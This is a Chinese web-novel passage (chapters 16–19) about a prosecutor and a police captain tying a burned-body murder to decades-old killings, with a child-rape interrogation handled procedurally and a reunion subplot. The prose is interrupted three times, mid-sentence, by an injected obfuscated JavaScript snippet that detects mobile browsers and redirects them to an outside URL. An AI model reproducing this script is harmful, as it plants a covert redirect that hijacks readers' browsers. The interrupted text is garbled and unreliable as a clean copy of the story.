“蒋威,男,望海市益青区人,小学文化。根据尸检结果以及走访调查,死亡时间在去年12月29号深夜至30号凌晨,被人用凶器重击后脑导致机械性颅脑损伤而死,死后遭焚尸。生前在昌义建筑公司工作,是董事长钱文焘的司机兼保镖。案发当晚,同为司机的孔大庆多次与其联系,将其约出,且临近加油站也留有孔大庆购买散装汽油的记录,据此我们认定孔大庆具有重大作案嫌疑。” “孔大庆和公司董事长钱文焘现在都不知所踪。”他空了一会儿,既是给民警们思考的时间,也是让自己借机整理措辞,“排查工作还是要继续,再加派人手到昌义公司走访。此外,以案发现场为中心,继续扩大搜索范围,寻找凶器与嫌疑车辆。” 对焚尸案的分析暂且告一段落,路从辜转换思路,介绍说: “随着调查深入,我们发现蒋威所涉不仅仅是这一件案子。材料显示,二十六年前,十七岁的蒋威于深夜进入一户人家实施抢劫,并残忍杀害三人,死者系一家三口。值得注意的是,成年男性死者名叫沈东升,生前是本地大型民营企业龙德集团的总经理。” “龙德集团?”有民警突然开口,“我记得,当年大名鼎鼎的企业,后来无缘无故地沉寂了。” “是。而且,沈东升的死亡节点刚好在龙德集团江河日下的时候。”路从辜一字一句地强调,“当时主导侦查的民警是卢经武警官,很快锁定了犯罪嫌疑人蒋威,据蒋威交代,他是因经济窘迫才想到入室抢劫。但卢警官认定本案有隐情,仍然把主要调查方向放在了沈东升的人际关系上,走访调查了多位证人,其中一个名叫马维山。” “因为案发太早,当时还没有联网,马维山的信息并没有留存下来,所以无从得知他在这起案件中扮演了什么角色。我手上的案卷里除了他的名字也没有任何证言记录,像是被人刻意抹去了一样。” “直到抢劫案发生九年后,当时在绍青村小学做老师的马维山卷进了一起强/奸杀人案,在证据漏洞百出的情况下,被认定为凶手。几天前,在一位检察干警的努力下,这起案件被改判无罪,而就在刚刚,我们确认真凶其实是当时被关押在益青区朝阳监狱的蒋威。我们推断,有人为了保蒋威,再加上对马维山作证一事的报复,出面将祸水引向了马维山。” “就在我与那位检察干警一同调查马维山案时,两年前605爆炸案的爪牙又一次现身,这一切都能够说明——”他用笔将白板上的所有信息点都圈在一起,道: “这些,都是同一伙人的手笔。” * “今天还不来吗?” 一条腿刚踏入看守所的大门,应泊便收到了这样一条消息。他一连确认了好几遍,才敢相信这居然是路从辜发来的。 情感如此强烈,表达如此直白,要是再像块木头一样不为所动,应泊都要骂自己不知好歹了。他忙把手里的公文包塞给徐蔚然,腾出手来回复消息。徐蔚然手忙脚乱地抱着包,被他突然绽开的笑颜吓了一跳,一脸大惑不解地看着他,问: “怎、怎么了?” “没事,帮我拿一下。”应泊敷衍道,甚至没有抬眼看她。嫌打字太慢,他索性直接语音回复,“来,来,等我提审完就来。” 一般情况下,即便有“提前介入”这个制度,检察机关的干警也极少会像应泊一样三天两头跑公安,有事大多是电话或书面联系——说到底,毕竟是别人的任务,没必要给自己添麻烦,公安内设的“检察官办公室”几乎形同虚设。放在以前,应泊最多也就是洋洋洒洒写下一篇补充侦查提纲甩给警察,等着验收成果就可以了。 倒也不是真的忙得不可开交,一来应泊作为部门主任总是不在岗,很容易被人抓住把柄,二来他也想给自己一点冷静和缓冲的时间。不过短短几天的时间,应泊已经感到收不住心了。重逢一面双颊可疑的赧红,相处中不经意牢牢钩在自己身上的目光,以及每次告别时眼瞳里掩饰不住的留恋,凡此种种都会助长他心里那点不可言说的欲念。 不拒绝就是默许,默许就是同意——难道不是吗? 应泊开始有些恼怒看守所把提审时间定在了今天。他拿着提讯提解证快速走完流程,大步流星地走在前面,徐蔚然差点跟不上他: “师父,慢点!” 今天讯问的犯罪嫌疑人所犯的是强/奸罪和非法拘禁罪,并且具有加重情节——多/人/轮/奸,还是不满十四周岁的幼女。虽然以第二检察部的工作内容,干警们不可能不面对这种案件,但从应泊个人的角度,他宁肯被十个杀人犯威胁“出去就捅死你个狗官”,也不愿意亲手反复揭开被害女孩的伤疤,逼她一遍遍地回想那段惨绝人寰的经历,这与凌迟何异? 伤害已经造成,即便能争取来一个在法理与情理上都恰到好处的惩罚,也只是亡羊补牢了。 犯案的总共有五人,都是一群早早混迹于社会的小混混,游手好闲东游西走时绑来了落单的被害女孩,将其带到宾馆轮流实施了暴行。其余几个都对犯罪事实供认不讳,也已经认罪认罚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057756|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只有这个十七岁的嫌疑人,他一直辩称自己“只是进入房间坐了一会儿,没碰她”。 应泊不是刚入行的小年轻,当然不会被他几句话和几滴眼泪骗得团团转。只不过,比较棘手的是,被害女孩在案发后洗了澡才去报案,最关键的证据都消灭了。此外,女孩家境贫寒,家里还有个弟弟,家长收下了五个嫌疑人的八万块钱赔偿,便“宽宏大量”地与嫌疑人达成和解,而被害人谅解是一个重要的从轻量刑情节,就算他因为犯罪情节过于恶劣选择忽略,法官一定会将其纳入考量。 然而,无心插柳柳成荫,被害人家属的谅解,也帮了为证据审查而头痛的应泊一把。不待嫌疑人辩解,他便主动采纳了谅解情节,同时也通知被害人家属收钱后记得出具谅解书,还要详细写明因何事谅解。 冰冷的讯问室内,在应泊的接连试探下,嫌疑人又一次对犯罪行为矢口否认: “我真的只是坐了一会儿,什么都没干,我当时太害怕了。” “如果你没碰她……”应泊的耐心已经耗尽,终于亮出底牌,正是那篇谅解书,“那你为什么要赔偿?谅解书上有你的签字,白纸黑字写着你与被害人就强/奸一事达成和解。既然没做过,为什么要认?” 嫌疑人不说话了。 退一步讲,量刑稍轻一点,也强于证据缺失导致无法定罪。 许是没想到还能这样设下圈套,一旁的徐蔚然立刻吃惊地瞪大了眼睛。应泊没什么兴趣同这种坏且蠢的人纠缠,把讯问笔录打印出来,交给嫌疑人签字: “自愿认罪认罚也是重要的量刑情节,我知道看守所的日子不好过,希望你能好好考虑。” 走出看守所时将近傍晚,冬季天黑得早,太阳已经有一半沉到了地平线下。应泊拎包信步走着,忽然发觉徐蔚然不见了,回头才见她远远跟在身后,看得出情绪低落,便问:“怎么了?” 徐蔚然不好意思地耸耸肩:“我只是感觉……震撼,也难免愤怒。您知道,我从来没跟这种算是穷凶极恶的嫌疑人打过交道,很佩服师父可以这么冷静。” “我们能做的太少了,所见的又太多。”应泊不置可否,空了片刻才低声道,“很多时候,保持冷漠未必是坏事。” 他把车钥匙塞给徐蔚然:“你先上车吧,我随后就到。” 右边的太阳穴开始突突地乱跳,右侧视野里也闪烁着螺旋状的亮光。应泊很清楚,用不了半个小时,他的右眼就会完全失明,直到症状好转,持续时间也许是一个小时,也许是一天。曾经有一个能掐会算的律师朋友提醒过他注意头部健康,他嘴上说着不信,第二天就去了医院挂号检查。结果果然如对方所说——视觉先兆性偏头痛。 趁还能看清,他拨出了电话。听路从辜“喂”了一声后,才闷闷道: “我提审结束了。” “很累吗?”他沉重的语气让路从辜心里一慌,连忙口不择言道,“我、我就是想告诉你DNA结果出来了,没别的意思,你要是太累的话,不过来也可以,好好休息。” 应泊忽然笑了,笑里有些落寞:“……没别的意思吗?” “也不是……我,其实……” “我今天有点郁闷。”应泊轻声打断他的话,疲惫地倚在看守所的墙上,“可以去找你聊聊吗?” 17. 留影 徐蔚然在公务用车上坐了半个小时,左等右等不见应泊回来,打电话也只有“望海检察提醒您,请勿私下打听案件”的机械提示音”。她顿感不妙,下车回到看守所门口,见他正扶着墙干呕,压轻脚步走上前,踌躇片刻才开口: “怀了?谁的?” “啧。”应泊斜睨了她一眼,“没大没小。” 徐蔚然缩了缩脖子,并不反驳。应泊佝偻着腰,缓缓转过身来,面色苍白如纸,偏头痛每次发病时都伴随着呕吐,吐完就会好转很多。他找熟识的看守所民警要来一瓶矿泉水,两口灌进肚子里催吐,因而耽搁了不少时间。 但徐蔚然不清楚他的病症,只能茫然地猜测:“吃坏肚子了?” “没事,老毛病了。”应泊抽抽鼻子,两眼泛红,“我现在可能开不了车,你送我回刑侦支队吧。” “都这样了,还要去支队?”徐蔚然柳眉倒竖。 “去看看,万一帮得上忙呢?”催吐残余的反胃感还在不停上涌,应泊忙又转过身去,一手抚着胸口,哑着嗓子安抚她: “别担心,我刚刚打电话托张继川帮忙送药,吃完药就好了。” “他?他那个记性,说不定在实验室打着打着游戏就忘了,我再提醒他一下吧。”徐蔚然撇撇嘴,直接一个电话打给张继川: “喂?应科让你送药,出发了吗?” 电话那边的张继川语气惊慌:“姑奶奶,我开组会呢,马上就去——你别怕,他那慢性病死不了人的。” 这俩人打情骂俏都不背着我了,应泊心中暗叹。他终究欲言又止,一手捶着额头,像个风烛残年的小老头一样一瘸一拐地走向公车。徐蔚然自觉坐上了驾驶位,调好了座椅,看应泊病恹恹的,有意哄他开心,便问: “师父,要是出了事故,是自己赔还是单位赔?” “当然自己赔。”应泊轻笑一声,“之前老侯开公车去开庭,倒车的时候把车开台阶上了,车屁股蹭掉一块漆,还是自费补好的。” 话题到此暂停。徐蔚然空了半晌,才继续道:“师父,谢谢您。” “嗯?” 思忖了一会儿,徐蔚然鼓足勇气道:“调到业务部门之前,我也了解过很多检助的日常,说什么的都有。要么是抱怨员额做甩手掌柜,要么是白干活还要挨骂,很少有跟员额和平相处的。说实话,我其实很害怕。您应该看得出来,我不是那种八面玲珑,在哪里都吃得开的性格,之前在政治部就被主任点名批评过。” “刻板印象而已。每个人都有自己的特性,内敛一点也没关系,没有人要求司法工作人员一定要八面玲珑。你来得晚,没见过二部之前的夏怀瑾主任,她也不是你说的那种性格,但她业务能力是公认的极其出色,这还不够说明问题吗?” 虽然车里没有其他人,他还是故意用低低的气音说:“而且,我也不太喜欢政治部。你听听就好了,可别到处乱说。” 徐蔚然哑然失笑:“不过,我……确实没想到您会这么用心地带我。” “我说了,别总一口一个‘您’,我也没比你大多少。”应泊闭着眼睛,意识有些混沌,以至于说话都有气无力的。 “对了,那个被……的小女孩,现在怎么样了?” 应泊叹了一声:“我有一段时间没跟家属沟通过了,自从拿到了赔偿款,他们也没再主动联系过我。最后一次看见那个女孩,她身上还有伤,精神状态还算平稳,但整个人都木木的,看不出那种青春靓丽的小女孩该有的天真和灵动。” “师父,您……不是,你觉得最后判决会是什么结果?” 应泊却没有直接回答,而是饶有兴致地反问道:“如果你是我,或者是法官,你会给出一个怎样的量刑?” 见徐蔚然咬住嘴唇陷入沉思,他便自顾自道:“提供一点思路。首先你要考虑法条规定的法定刑,确定一个量刑起点,三年,七年,还是十年以上?其次你要考虑犯罪次数、犯罪数额,是不是有数罪并罚,还有嫌疑人在犯罪过程中的作用、地位,再去确认基准刑。除了这些最基础的,我们还要思考最终的量刑能不能服众,不仅仅是嫌疑人或被告人本身服不服,会不会上诉,还有对整个社会的影响。” 他一摊手:“说白了,我们也怕引发不良的舆论。一旦案子出了舆论事故,或者是有干警涉嫌职务犯罪,整个望海检察可能都会被连坐,一年的司法绩效全没了。” “这么严重吗?” “当然。”应泊挑眉,“不过,大的风波我倒是从来没见过,就是还在三部的时候,总有一群买保健品被骗的老头老太太围在大楼底下闹事,法警赶都赶不走,索性就不管了。” 他调了调座椅靠背,让自己躺得更舒服点:“唉,其实我也挺想去法警队的,工资差不了多少,工作还清闲,不至于每天睁眼闭眼都是审查报告和论文。之前有一次半夜梦到开庭没带审查报告,直接吓醒了,一看手机才发现是周末。” 这下,徐蔚然彻底笑出声来,打包票说: “放心吧师父,以后开庭前都有我提醒你的。” 公车还没开进支队大门,路从辜早已守在了楼下。应泊半梦半醒间瞥见他被冻得发红的鼻尖,心里一紧,不等车停稳便打开车门冲向他,责备道: “在外面傻等什么?” “我听你语气不对,担心你是一个人去提审,没人照应,又不敢给你打电话,怕你开车分心。”路从辜也发现了他惨白的脸色,旋即蹙起了眉头,“不舒服吗?” “他生病了,刚刚一直在吐,胃酸都吐出来了。”徐蔚然锁好车,快步上前来。路从辜上下打量她一番,颔首道: “谢谢你送他过来。” 应泊急忙问:“DNA结果确定了吗?就是蒋威?” “确定了,是他。不过,这些现在都跟你没关系。”路从辜把他推进楼里,也默许了徐蔚然跟上来。然而,他们还未走出几步,身后又传来一声高呼: “等等!” 三人应声回头,声音来源是被门卫大爷拦在门外的张继川,远远便能听见他高声发着牢骚:“有这么一位神通广大的贵妇人,了不起,太了不起啊!她竟有本事从千里之外把电话打到我的前线指挥所!” 路从辜虽然不认得这个戴一副眼镜,通身一股傻里傻气的书生气息的男人,但看应泊和徐蔚然都是一脸熟稔的笑,便招手示意门卫放他进来。 张继川紧走几步跑到他们面前,指着应泊气喘吁吁地控诉: “你知道我从实验室出来倒了多少趟车吗?你怎么不叫老侯给你送?怎么不叫陈律给你送?” “老侯今天要陪闺女,嘉朗每天忙得脚不沾地,哪有时间给我送药。”应泊偷偷背手想拧他,面上故作端庄地微笑介绍,“这是我哥们儿,张继川,以前在市检技术科,因为手稳技术好,大家都叫他张一刀,现在在望海大学读博。这位是路队,也是我……朋友。” 只不过,因为右眼处于完全看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057757|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见的状态,应泊的小动作没有得逞,拧了个空。 “朋友”二字落地,路从辜眼神倏忽一黯。出于礼貌,他迅速收起情绪,主动向张继川伸出右手: “刑侦支队,路从辜。” 张继川察觉到些许不对劲,一面跟路从辜握了手,一面抬起左手在应泊面前晃了晃,问: “真的看不见吗?” 应泊拍开他的手:“左边能看见一点,别晃,本来头痛就烦。” “他以前也这样,我记得。”路从辜罕见地插话,目光在张继川和徐蔚然之间徘徊,又回到应泊身上,“去我办公室躺一会儿吧,不会有人打扰你的。” 应泊有些难为情:“我、我是想来帮帮忙的,躺着不太好吧,毕竟……” 他后面的话都被路从辜一记眼刀逼了回去。应泊为难地咋舌,终究还是妥协了,向张继川和徐蔚然挥挥手: “你们走吧,天不早了。今天谢谢你们,好兄弟,还有好同事。” 似乎是不吃他的客套,张继川嗤笑一声,牵着徐蔚然的手,扭头就走:“公车帮你开走了,自己想办法回家。” 跟着路从辜回到办公室,应泊被一把强按在沙发上,下意识地把手搭在路从辜腰上。他讶异地瞪大眼睛与路从辜对视,可不到几秒,目光就开始心虚地四处游移。 “撑不住别硬撑。”路从辜摆出一副冷脸,语气却还是温和耐心的,“我带你去看看医生?” “你先去忙吧,我没关系的。”应泊虚弱地一笑。 他嘴上这么说,揽着路从辜的手却没有松开。 路从辜牵着他的一只手,捏了捏手指:“睡一会儿吧,我就在会议室,不会走远,有事随时叫我。不要怕麻烦我,好不好?” “好,我又不是小孩子。” 但路从辜显然不这么认为,离开时一步三回头,仿佛生怕自己一个不注意,应泊就像家养的娇花一样蔫黄枯败下去。刚把办公室门关上,他又推门进来,把自己的冬季防寒服盖在应泊身上,这才满意离去。 头痛时根本睡不着,手机的光亮也会加重症状,应泊百无聊赖地环顾着办公室内的陈设,目光最终定格在办公桌后的书架上。 因为工作性质不同,路从辜的书架不像应泊的那样堆满了各种专业书籍,只有零落的几本工具书。应泊指尖掠过书脊,抽出一本放在中央最为显眼的《刑事侦查学》,看出版日期,大概是他读大学时用的教材。 “跟我们法学系用的是一样的教材……”应泊暗暗想着,翻开了这本书。不料,一张硬纸随着他翻动书页的动作滑落。应泊俯身捡起,看清后却不由自主地一怔。 是一张只有左半边的照片。相纸虽然有些泛黄,但也能看出画面中是五官尚且稚嫩的应泊,年纪约莫十六七岁,穿着一身校服,扬着笑脸看向镜头,一只手还搂着身旁某个被裁掉的人。 应泊摩挲着这张照片,唇边不自觉地浮起笑意。沉吟良久,他摸出自己的钱夹,从中小心翼翼地捏出一张相同材质的相纸。看缺口,两张相纸恰好能拼成一张完整的照片。 而他手里的这一半,是身穿病号服的路从辜,被应泊揽住脖颈,也丝毫没有抵触的意思。虽然看上去同样也只有十六七岁,神情却已经足够沉稳,不像应泊一般嬉皮笑脸,只有眼尾眉梢含着淡淡的温柔。 竟然……兜兜转转那么久,两个人都没丢掉。 “我以为,只有我一个人这么不争气。”应泊自言自语道。 18. 水雾 周围的杂音都被半梦半醒的迷蒙感过滤了,只能隐约分辨出有人进入屋中,又悄悄关上了门。应泊稍稍蹙眉,正欲睁开眼睛,一个安抚的声音便回旋在耳畔: “……睡吧,我在呢。” 睡意随着声音渐渐消弭,应泊艰难地掀开眼皮,循着声音的方向望去:“你……忙完了?” 路从辜一只手抱着一沓材料,另一只手把制服外套挂在衣架上,又给自己倒了杯水:“公司的走访结果反馈回来了,又进行了初步的筛查分析,总结出了这些,刚刚在听他们汇报。” 他走到沙发边,把纸杯递给应泊:“感觉好多了?” “嗯。”应泊也不推辞,直接就着他的手咽下一口水,“你们效率是真高,要是基层公安也有这样的效率就好了。” “体谅一下一线难处吧,他们案件量实在太大,别再吹毛求疵了。”路从辜有意拖长了尾音,听上去玩笑多于责怪,“你找不到警察的时候,他们很可能在救猫和捅马蜂窝,也有可能是在找离家出走的小屁孩。我在派出所的时候还半夜出警帮群众抓蝙蝠呢。” “检察院两把剑,插完公安插法院,我上学的时候圈里就这么说了。”应泊笑眼弯弯,“好在我今天空手来的,没带剑。” 路从辜撇了撇嘴:“那我还得谢谢你?” “咱俩……再谢来谢去的,那不就,没意思了嘛。”应泊越说声音越小,自己都有点心虚。他讪讪地笑着接过路从辜递来的案卷,刚翻了几页,眉头便微微拧起,路从辜心里不免打鼓: “有问题?” “嗯,有点虚开的嫌疑……归经侦管,不归刑侦,放轻松。”应泊见他又一次如临大敌地紧张起来,忙轻抚他的背,“而且,这姑娘有前科,非吸的从犯。” 他的手指停留在材料上一个叫做“缪爽”的名字上。耳朵捕捉到了陌生的字眼,路从辜又问: “非吸?听过,但有点生疏了。” “全称叫非法吸收公众存款罪,我在三部的时候经常处理这种案子,总会跟财务会计打交道,每天睁眼先算多少钱,闭眼再算多少年。高端点的会用虚拟货币忽悠人投资代币,这种技术上很难查。更常见的是用发放宣传传单、业务员推广宣传之类的方式,向社会宣传公司发行的理财产品,也可能是农产品,然后向投资者承诺在一定期限内以货币方式还本付息,或者是高额回报以及产品回购。其实都是骗人的,钱根本不可能还给你,动辄有投进去百八十万的,基本都打了水漂。” 他慢悠悠地翻页,轻车熟路地接着解释:“如果我没猜错,这姑娘应该是大学毕业后不久便被骗进了某个公司从事非吸业务——当然,招聘的时候只会告诉你是正常的销售工作,普通群众也很难分辨非吸的性质,何况很多还是校招。在岗位上越努力,非吸的犯罪金额就越大,相应的量刑就越重,大部分业务人员都是被抓的时候才得知自己犯罪了。我一般都会劝他们能多退赃就多退,也许还能争取个缓刑。” 说到这儿,应泊的语气渐入严肃,面上最后一丝笑意也随之消失:“印象最深的是一个中年女人,在她女儿高考前一天被警察带走了,后来办理了取保候审。签认罪认罚那天,她带着降压药来到检察院,没说几句就开始掉眼泪。我等她平静下来才开始讯问,她告诉我,女儿因为她大受打击,高考严重失利,她也怕自己会给女儿这一辈子留下不可磨灭的案底,但始终没有向我求情。” 明明他在说这些话的时候并没有掺杂太多情绪,但路从辜总觉得能隐隐约约从他眼中看出些许哀戚来。应泊没有注意到路从辜的眼神,兀自说下去:“能说这些业务员是彻头彻尾的坏人吗?我觉得,好像也不能那么武断。但对那些被骗的群众来说,打击也非常沉重。有一个投了三百万的被害人在案发当天便突发脑梗进了医院,到最后也没把钱追回来。” 即便已经有意减少对视的次数,两人的目光还是在不经意间相碰。应泊稍歪了歪头,眼睛也睁大了些,似是在询问他还有没有问题。 “一个人非吸百八十万,一个团伙就有上千万?大一点的甚至有上亿?” 应泊点了点头。 犹豫了一下,路从辜续上了问题:“那岂不是……很考数学?我记得你——” 应泊只听了半句就料到他要说什么,眼疾手快地捂住他的嘴:“跟数学关系不大,我们有软件模型,可以导入案件数据辅助计算。” 听应泊解释了那么多,再翻阅案卷的时候,路从辜多留意了一下这个名叫缪爽的公司财务。民警的记录中,这个姑娘代表昌义公司财务接受了走访。不用想也知道,这个女孩显然是被高层推出来背锅的。昌义公司本身方方面面就不清白,又被警方大规模走访调查,难免会起疑心,选择提前动手脚弃车保帅。 不过,很遗憾他们会错了意,不论是应泊还是路从辜,目前都对他们先前做过什么见不得人的勾当没太大兴趣,一心只想抢在年关前把最关键的命案破掉。 民警:你觉得你们公司在前后两三个月里,有没有什么可疑的事情?可以发散一下思维,什么样的事情都可以说说。 之所以这么问,是路从辜始终放不下阜城的案子,怀疑将其争夺到手的昌义公司会否是因此得罪了什么人,而钱文焘作为董事长首当其冲遭人暗中算计,因而选择以公司为提问中心展开走访。 缪爽:警官……我实话跟你说了,我是新人,太远的事我也不太清楚。就是最近吧,我们公司资金上有点周转不开,有个名叫郭子军的工头经常来公司闹事要钱。 “郭子军……”应泊犹疑着,“好熟悉的名字。” 路从辜也琢磨着这段话:“李鹏是不是也提过昌义公司发不出工资的事?” “嗯,我记得。”应泊肯定道。二人索性共看同一本案卷,方便思维同步。 民警:郭子军?你这里有他的相关信息吗? 缪爽:有的,警官,这是他的资料。 民警:蒋威和孔大庆这两个人,你知道多少? 缪爽:孔大庆我不太清楚,但是蒋威我有点印象,之前他跟郭子军一起来过,两个人好像是表兄弟关系,当初还是蒋威把郭子军跟工人们介绍给我们老板的。 “表兄弟?”路从辜首先发觉不对,“蒋威的资料里根本没有其他亲属,怎么凭空多出来的表兄弟?” “也许是混社会认识的朋友,假作兄弟?”应泊猜测说。路从辜的直觉开始颤动起来,他迅速拨通电话。吩咐道: “传唤郭子军,来刑警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057758|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队接受询问。” * 应泊和路从辜踩着晚上九点的最后一秒走出了支队,马路上已不再是车水马龙,只有偶尔的几辆车飞驰而过。忙得太投入,他们一直拖到现在都还没吃饭,二人绕着支队走了一圈,附近的餐馆都歇业关门了,外卖也没有几家正在营业,只好又在支队门口停住脚步,你看看我,我看看你,又都不好意思喊饿。 就这样僵持了半晌,应泊指了指对面24小时营业的便利店:“要不……去吃便利店?” 虽然应泊会做饭,且为了喂饱自己挑剔的馋嘴练就了一手相当不错的厨艺,但考虑到路从辜似乎不是很乐意登门拜访,他也就没有把心里的实话说出来。 “可以,我不挑。”在办公室里被暖气烘了一天,出来猛地吹冷风,路从辜脸上皮肤泛起了红晕,在冷白色的皮肤上格外显眼。应泊自然而然地用手背贴了下他的面颊,问: “冷吗?” “你问我么?”路从辜扯了扯应泊那更为单薄的羊绒大衣,“走吧,绿灯亮了。” 推开店门,风铃叮咚作响。便利店里比他们想象得要暖和一点,但也只有一点。应泊拎起一个购物筐走向冷藏柜,指尖在琳琅满目的饭盒间游移。路从辜倒是干净利落地拣了一个饭团,而后便双手插兜,默默等待。 “饭团不顶饱。”应泊挑了一份便当,放进购物筐里,“吃这个。” 路从辜略一犹豫,终究没有把便当拿出去,只是说:“我现在……不喜欢吃太饱。” 脑中迅速闪过吉光片羽的几幕片段,应泊有些愣怔。记忆里那个不挑食的少年总是在吃完饭后顺便夹走自己盘中被刻意挑出的胡萝卜或是青椒,还会小声地抱怨: “学校给的米饭有点少。” 但应泊并没有沉浸在过去的印象中,他的思绪转了一转,很快反应过来:“胃不舒服?” 公安民警频繁出警,吃饭不规律,还总是用面包泡面将就对付,很容易导致肠胃出问题。 路从辜没有作声,算是默认。应泊垂下眼睛,用诱哄一般的语气说:“稍微多吃点,不然夜里会饿。” 便利店的玻璃窗上敷了一层水汽。二人端着加热好的食物坐在窗前的桌边,水汽折射着霓虹灯光,有如一窗云霞。应泊来了兴趣,抬手在窗上画了个笑脸,又在笑脸下加了火柴人也似的躯干。 路从辜先喝了点热牛奶垫肚子,而后忽地开口:“原来你的呕吐不是胃病么?” 应泊帮他撕开便当包装,拆开筷子:“我也是这两年查出来的,之前一直没在意。咱们这一代,多少都有点慢性病。” “我当年误会了,居然去帮你找胃药……”路从辜自嘲地笑笑。 “没关系。”应泊忙开解他,又补充一句,“而且,当时只有你注意到——” 他还没说完,身后的店员轻声呼唤他们来取结账时落下的甜品,路从辜径直起身过去,硬生生把应泊后面的话都堵了回去。 “他大概单纯只想关心我的病罢了。”应泊勾起一个不太明显的苦笑,摇摇头。 而那面玻璃窗上,原本还是笑脸的简笔画,因为水汽凝结成了水珠,从两弯笑眼滑落下来,像是泪痕一样—— 笑脸变成了哭脸。 19. 落空之前 水珠纷纷从玻璃窗上流淌而下,冲刷掉半面水雾,映照出身后的景象:路从辜在柜台停了停,似乎被什么吸引了注意。发觉应泊在透过玻璃窗反光观察自己,路从辜直接迎上他的目光,又挑了挑下巴,才让应泊老老实实地低头继续吃饭。 两个人拣出的所有货品都放在了同一个筐里,结账的时候自然也是一起结。方才是应泊一直拎着筐,也就理所应当地由他付钱了。 AA?好像压根没有锱铢必较的必要,至少应泊自己没想到这一点。他手上机械地搅着便当,大脑却又开始回想起许多细节来,不仅仅是这些时日来被坦然接受的示好,方才自己结账时路从辜也双手抱臂选择了默许,一点也没有跟他抢着结账的意思。 “……居然也不跟我客气。”他往嘴里塞了一大口饭,才压住上浮的笑意。 虽然对于收入稳定的成年人而言,朋友之间本就不必在支出上计较太多,但那也是建立在“我们的相处和资源置换会长久且平等地延续下去”的信任上,就像应泊之所以舍得大度地送张继川价格以万起算的名表作为礼物,也是因为张继川虽然自己活得糙,但帮他加车油、请客吃饭和社交消费出手从不吝啬,处处要彰显“看见了没,他有我这个冤大头富二代朋友”的气派。 而且,当时那个相亲的女孩说得确实有一定道理。张继川远在千里之外的父母为了感谢应泊对自家傻儿子的照顾,时常暗示他有需要随时开口。不过,都被应泊以工作特殊不方便为由委婉拒绝了。 两个心智和品德都健全的人愿意“占对方便宜”,本身就代表是在默许出现有来有往的牵绊,至少彼此从最简单的经济层面就算不上两不相欠。 总算为自己找到了一些足够支撑观点的论据,应泊的片刻失落才融化成一湾暖流——他又自信了。但警惕心也没有放任他得意忘形,还在心底小声地叫嚣: “啧,书呆子,不要再用你的刑诉思维分析因果关系了,你明知道他不是那种可以套书本理论来相处的人。” 他自己哄自己玩了许久,路从辜才抱着一个大盒子回到桌边,自己从中取出几板糖,剩下的全给了应泊:“喏。” 糖是那种以前的小卖部很常见的胶囊似的香芋味奶糖,一吃就停不下来。应泊高中时中午吃完饭就会到学校里的小卖部转转,揣一些奶糖到教室里。等到上课,老师在上面讲得口干舌燥,他和路从辜两个人在下面低头嚼个不停。 他饶有兴致地拿起一板左看右看,讶然道:“这么老的牌子,现在还有卖的?” “有需求就有供给。”路从辜咬了一大口饭团,闭着嘴细品,“没热好,里面还是冷的。” “好老,咬不动。”应泊皱着眉头咽下嘴里的牛肉,又把其余的都夹到路从辜碗里,“给你吧。” 恰恰相反,牛肉是这碗便当里唯一算得上美味的配菜。路从辜虽然仍然面无表情,但眼神里明显多了一丝不满: “别挑食。” “我又不是第一天挑食了。”应泊嘀嘀咕咕地,“……也是,人总会变的。” “嘟囔什么呢……”路从辜瞟了他一眼,摇摇头,三两下把牛肉块都打扫干净。应泊转为一副笑吟吟的神色,道: “忘了问,叔叔和爷爷奶奶还好吗?” “都挺好的,我爸快退休了,现在在省厅。爷爷奶奶都回了郊区的老房子,不在望海市区,家里只剩我一个人。” 话到此处,路从辜不着痕迹地住了口,自己也在思考最后半句到底有什么说出来的必要,总不可能是在邀请。应泊把他的反应尽收眼底,忍俊不禁,接着问: “我本来还想问你为什么会做刑警,我以为你也会去禁毒。” “我爸说禁毒太危险了,家里有他一个遭人恨的就够了,而且父子在相同的系统……晋升也不方便,所以让我走爷爷奶奶的路。”路从辜直白地解释,“什么警察不是警察啊,他的原话。” 他顿了顿,又说:“不过他们也会被检察院的人训,跟我们一样,哼。” “我可没训过,毒品犯罪证据审查相对宽松一些,基本一抓一个准儿。” “哦——”路从辜的尾音拐了几个弯,“那就是只跟我们刑警队过不去?” “原来在你眼里,我这叫跟你过不去?”应泊装模作样地瘪瘪嘴。路从辜抢在他吐出下一句话之前打断他:“打住,我已经下班了,不管你现在说什么,我都不会听。” 应泊紧紧地盯着他的脸,双眉紧蹙,似乎纠结了很久,才为难地开口:“啧……真的不想听吗?那我就不说了。” 路从辜被他盯得心里发毛,谨慎追问:“……要说什么?” “不说了不说了,真的不说了。”应泊高深莫测地摆摆手,用米饭塞满自己的嘴,“我在学着慎言。” 